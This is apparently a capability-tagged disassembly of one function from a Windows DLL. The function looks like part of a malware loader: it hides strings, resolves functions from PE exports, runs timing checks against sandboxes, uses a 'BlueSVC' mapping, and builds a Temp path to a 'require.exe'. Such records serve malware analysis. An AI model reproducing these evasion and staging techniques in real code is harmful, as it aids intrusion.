Function at 0x100013e0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2c8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2c4], eax
mov eax, dword [esp + 0x2cc]
lea ecx, [esp + 0x1c0]
push ebx
push ebp
push esi
push edi
push 0x104
push ecx
xor ebx, ebx
push eax
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [esp + 0xc0], ebx
lea ecx, [esp + 0x1d0]
mov dword [esp + 0xc4], ebx
movups xmmword [esp + 0xb0], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001440
sub ecx, edx
lea eax, [esp + 0x1d0]
push ecx
push eax
lea ecx, [esp + 0xb8]
call fcn.10001060
movsd xmm0, qword [0x10010288]
call fcn.10005b80
divsd xmm0, qword [0x10010280]
movsd qword [esp + 0x18], xmm0
call fcn.100058a0
subsd xmm0, qword [0x10010278]
movsd xmm1, qword [0x10010288]
mov edi, 1
divsd xmm1, xmm0
movsd qword [esp + 0x28], xmm1
nop dword [eax]
xorps xmm0, xmm0
lea eax, [edi - 1]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [esp + 0x18]
call fcn.100058a0
mulsd xmm0, qword [esp + 0x28]
sub esp, 8
movsd qword [esp], xmm0
call fcn.10005848
xorps xmm0, xmm0
cvtsi2sd xmm0, edi
fstp qword [esp + 0x28]
cvttsd2si esi, qword [esp + 0x28]
mulsd xmm0, qword [esp + 0x20]
call fcn.100058a0
mulsd xmm0, qword [esp + 0x30]
movsd qword [esp], xmm0
call fcn.10005848
fstp qword [esp + 0x28]
cvttsd2si eax, qword [esp + 0x28]
inc edi
add esp, 8
sub eax, esi
cmp edi, 0x28
jle 0x100014a0
mov edi, dword [esp + 0xc4]
mov esi, dword [esp + 0xb0]
mov dword [esp + 0x28], edi
mov dword [esp + 0x18], esi
cmp eax, 0x2dc6c0
jg 0x100015e1
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x1f
push eax
lea eax, [esp + 0x80]
xorps xmm0, xmm0
push eax
movups xmmword [esp + 0x84], xmm0
call fcn.10001000
movups xmm0, xmmword [str.TWljcm9zb2Z0XFdpbmRvd3NBcHBz]
mov ecx, dword [esp + 0x1c]
mov edx, eax
mov dword [esp + 0x84], edx
mov dword [esp + 0x94], 0x1c
mov dword [esp + 0x98], ecx
movups xmmword [edx], xmm0
movq xmm0, qword [0x10010214]
movq qword [edx + 0x10], xmm0
mov eax, dword [0x1001021c]
mov dword [edx + 0x18], eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x70]
mov byte [edx + 0x1c], bl
push eax
call fcn.10001fa0
mov ebx, eax
add esp, 0x10
cmp dword [ebx + 0x14], 0xf
mov ebp, dword [ebx + 0x10]
jbe 0x100015b2
mov ebx, dword [ebx]
mov eax, dword [esp + 0xc0]
lea ecx, [esp + 0xb0]
cmp edi, 0xf
cmova ecx, esi
mov dword [esp + 0x20], ecx
cmp ebp, eax
ja 0x1000172c
sub eax, ebp
test ebp, ebp
jne 0x1000167e
mov ebx, 3
mov byte [esp + 0x13], 1
test bl, 2
je 0x10001639
mov ecx, dword [esp + 0x78]
and ebx, 0xfffffffd
cmp ecx, 0xf
jbe 0x10001624
mov edx, dword [esp + 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000161a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001ded
push ecx
push edx
call fcn.100023e7
add esp, 8
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0xf
mov byte [esp + 0x64], 0
test bl, 1
je 0x10001745
mov ecx, dword [esp + 0x90]
cmp ecx, 0xf
jbe 0x10001745
mov edx, dword [esp + 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000173b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001ded
jmp 0x1000173b
movsx edx, byte [ebx]
inc eax
add eax, ecx
mov dword [esp + 0x30], edx
mov dword [esp + 0x14], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.10003140
mov edi, eax
add esp, 0xc
test edi, edi
je 0x1000172c
mov esi, ebp
mov ecx, edi
mov edx, ebx
sub esi, 4
jb 0x100016c1
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x100016c6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x100016b0
cmp esi, 0xfffffffc
je 0x1000171a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x100016f3
cmp esi, 0xfffffffd
je 0x1000171a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x100016f3
cmp esi, 0xfffffffe
je 0x1000171a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x100016f3
cmp esi, 0xffffffff
je 0x1000171a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000171a
mov eax, dword [esp + 0x14]
inc edi
sub eax, edi
push eax
push dword [esp + 0x34]
push edi
call fcn.10003140
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x100016a3
mov byte [esp + 0x13], al
lea ebx, [eax + 3]
jmp 0x100015e6
sub edi, dword [esp + 0x20]
mov ebx, 3
cmp edi, 0xffffffff
jne 0x100015e1
mov byte [esp + 0x13], 0
mov ebx, 3
jmp 0x100015e6
push ecx
push edx
call fcn.100023e7
add esp, 8
cmp byte [esp + 0x13], 0
je 0x10001753
xor bl, bl
jmp 0x10001da0
push str.GlobalBlueSVC
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test eax, eax
jne 0x10001ced
mov eax, dword [0x1001023c]
xorps xmm0, xmm0
movups xmmword [esp + 0x34], xmm0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x34]
movq xmm0, qword [str.dXNlcm5hbWU]
push eax
lea eax, [esp + 0x12c]
mov dword [esp + 0x48], 0xc
push eax
mov dword [esp + 0x50], 0xf
movq qword [esp + 0x3c], xmm0
mov byte [esp + 0x48], 0
call fcn.10001fa0
add esp, 8
cmp dword [eax + 0x14], 0xf
jbe 0x100017be
mov eax, dword [eax]
push eax
call fcn.1000583d
mov edx, eax
mov dword [esp + 0xac], 0
mov ecx, edx
mov dword [esp + 0xb0], 0
xorps xmm0, xmm0
add esp, 4
movups xmmword [esp + 0x98], xmm0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100017f0
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0xa0]
call fcn.10001060
lea ecx, [esp + 0x128]
call fcn.10001340
mov ecx, dword [esp + 0x48]
cmp ecx, 0xf
jbe 0x10001849
mov edx, dword [esp + 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000183f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001df2
push ecx
push edx
call fcn.100023e7
add esp, 8
lea eax, [esp + 0x64]
mov dword [esp + 0x74], 4
push eax
xorps xmm0, xmm0
mov dword [esp + 0x7c], 0xf
lea eax, [esp + 0x80]
movups xmmword [esp + 0x68], xmm0
push eax
mov dword [esp + 0x6c], 0x3d554765
mov byte [esp + 0x70], 0
call fcn.10001fa0
mov ebp, eax
mov dword [esp + 0x1c], 0x1f
lea eax, [esp + 0x1c]
xorps xmm0, xmm0
push eax
lea eax, [esp + 0x58]
push eax
movups xmmword [esp + 0x5c], xmm0
call fcn.10001000
movups xmm0, xmmword [str.ZW1wXHJlcXVpcmUuZQ]
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x70], ecx
movups xmmword [eax], xmm0
mov ecx, dword [0x10010254]
mov dword [eax + 0x10], ecx
mov dword [esp + 0x5c], eax
mov byte [eax + 0x14], 0
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x1cc]
mov dword [esp + 0x70], 0x14
push eax
call fcn.10001fa0
mov ebx, eax
mov dword [esp + 0x2c], 0x1f
lea eax, [esp + 0x2c]
xorps xmm0, xmm0
push eax
lea eax, [esp + 0xfc]
push eax
movups xmmword [esp + 0x100], xmm0
call fcn.10001000
movups xmm0, xmmword [str.XEFwcERhdGFcTG9jYWxcVA]
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x100], eax
movups xmmword [eax], xmm0
mov dword [esp + 0x110], 0x18
movq xmm0, qword [0x1001026c]
movq qword [eax + 0x10], xmm0
mov byte [eax + 0x18], 0
lea eax, [esp + 0x100]
push eax
lea eax, [esp + 0x1c4]
mov dword [esp + 0x118], ecx
push eax
call fcn.10001fa0
mov edi, eax
mov dword [esp + 0x100], 4
lea eax, [esp + 0xf0]
mov dword [esp + 0x104], 0xf
push eax
xorps xmm0, xmm0
lea eax, [esp + 0x1b4]
movups xmmword [esp + 0xf4], xmm0
push eax
mov dword [esp + 0xf8], 0x634e6e63
mov byte [esp + 0xfc], 0
call fcn.10001fa0
mov esi, eax
mov dword [esp + 0x74], 8
lea eax, [esp + 0x64]
mov dword [esp + 0x78], 0xf
push eax
xorps xmm0, xmm0
lea eax, [esp + 0x1a4]
movups xmmword [esp + 0x68], xmm0
mov dword [esp + 0x68], 0x63707a51
mov dword [esp + 0x6c], 0x6c4e5864
mov byte [esp + 0x70], 0
push eax
call fcn.10001fa0
add esp, 0x38
lea ecx, [esp + 0x128]
push esi
push eax
push dword [esp + 0x20]
call fcn.100010f0
cmp dword [esp + 0xac], 0xf
lea eax, [esp + 0x98]
push dword [esp + 0xa8]
cmova eax, dword [esp + 0x9c]
lea ecx, [esp + 0x12c]
push eax
call fcn.10001e40
push edi
lea ecx, [esp + 0x15c]
movups xmm0, xmmword [eax]
movups xmmword [esp + 0xfc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x10c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [esp + 0xfc]
push eax
push dword [esp + 0x20]
call fcn.100010f0
push ebx
lea eax, [esp + 0x15c]
push eax
push dword [esp + 0x20]
lea ecx, [esp + 0x14c]
call fcn.100010f0
push ebp
lea eax, [esp + 0x144]
push eax
push dword [esp + 0x20]
lea ecx, [esp + 0x11c]
call fcn.100010f0
lea ecx, [esp + 0x140]
call fcn.10001340
lea ecx, [esp + 0x158]
call fcn.10001340
mov ecx, dword [esp + 0x10c]
cmp ecx, 0xf
jbe 0x10001ae7
mov edx, dword [esp + 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001add
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001df7
push ecx
push edx
call fcn.100023e7
add esp, 8
lea ecx, [esp + 0x128]
call fcn.10001340
lea ecx, [esp + 0x170]
call fcn.10001340
mov ecx, dword [esp + 0x48]
cmp ecx, 0xf
jbe 0x10001b35
mov edx, dword [esp + 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001b2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001df7
push ecx
push edx
call fcn.100023e7
add esp, 8
lea ecx, [esp + 0x188]
call fcn.10001340
mov ecx, dword [esp + 0xdc]
cmp ecx, 0xf
jbe 0x10001b7d
mov edx, dword [esp + 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001b73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001df7
push ecx
push edx
call fcn.100023e7
add esp, 8
lea ecx, [esp + 0x1a0]
call fcn.10001340
mov ecx, dword [esp + 0xf4]
cmp ecx, 0xf
jbe 0x10001bc5
mov edx, dword [esp + 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001bbb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001df7
push ecx
push edx
call fcn.100023e7
add esp, 8
lea ecx, [esp + 0x1b8]
call fcn.10001340
mov ecx, dword [esp + 0x60]
cmp ecx, 0xf
jbe 0x10001c07
mov edx, dword [esp + 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001bfd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001df7
push ecx
push edx
call fcn.100023e7
add esp, 8
lea ecx, [esp + 0x7c]
call fcn.10001340
mov ecx, dword [esp + 0x78]
cmp ecx, 0xf
jbe 0x10001c46
mov edx, dword [esp + 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001c3c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001df7
push ecx
push edx
call fcn.100023e7
add esp, 8
cmp dword [esp + 0x124], 0xf
lea edx, [esp + 0x110]
xorps xmm0, xmm0
cmova edx, dword [esp + 0x110]
sub esp, 0x18
mov esi, esp
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001c80
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.10001060
call fcn.100021f0
add esp, 0x18
lea ecx, [esp + 0x110]
mov bl, al
call fcn.10001340
mov ecx, dword [esp + 0xac]
cmp ecx, 0xf
jbe 0x10001da0
mov edx, dword [esp + 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001cde
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001dfc
push ecx
push edx
call fcn.100023e7
add esp, 8
jmp 0x10001da0
push 0x104
push 0
push 0
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, eax
mov dword [esp + 0x5c], 0
mov ecx, edx
mov dword [esp + 0x60], 0
xorps xmm0, xmm0
movups xmmword [esp + 0x4c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001d21
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0x54]
call fcn.10001060
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.10001fa0
mov edx, eax
add esp, 8
cmp dword [edx + 0x14], 0xf
jbe 0x10001d54
mov edx, dword [edx]
sub esp, 0x18
mov ecx, edx
mov esi, esp
xorps xmm0, xmm0
lea edi, [ecx + 1]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001d72
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.10001060
call fcn.100021f0
add esp, 0x18
lea ecx, [esp + 0x7c]
mov bl, al
call fcn.10001340
lea ecx, [esp + 0x4c]
call fcn.10001340
mov ecx, dword [esp + 0x28]
cmp ecx, 0xf
jbe 0x10001dd2
mov edx, dword [esp + 0x18]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001dc8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001e01
push ecx
push edx
call fcn.100023e7
add esp, 8
mov ecx, dword [esp + 0x2d4]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100023f5
add esp, 0x2c8
ret
call fcn.10005700
call fcn.10005700
call fcn.10005700
call fcn.10005700
call fcn.10005700
int3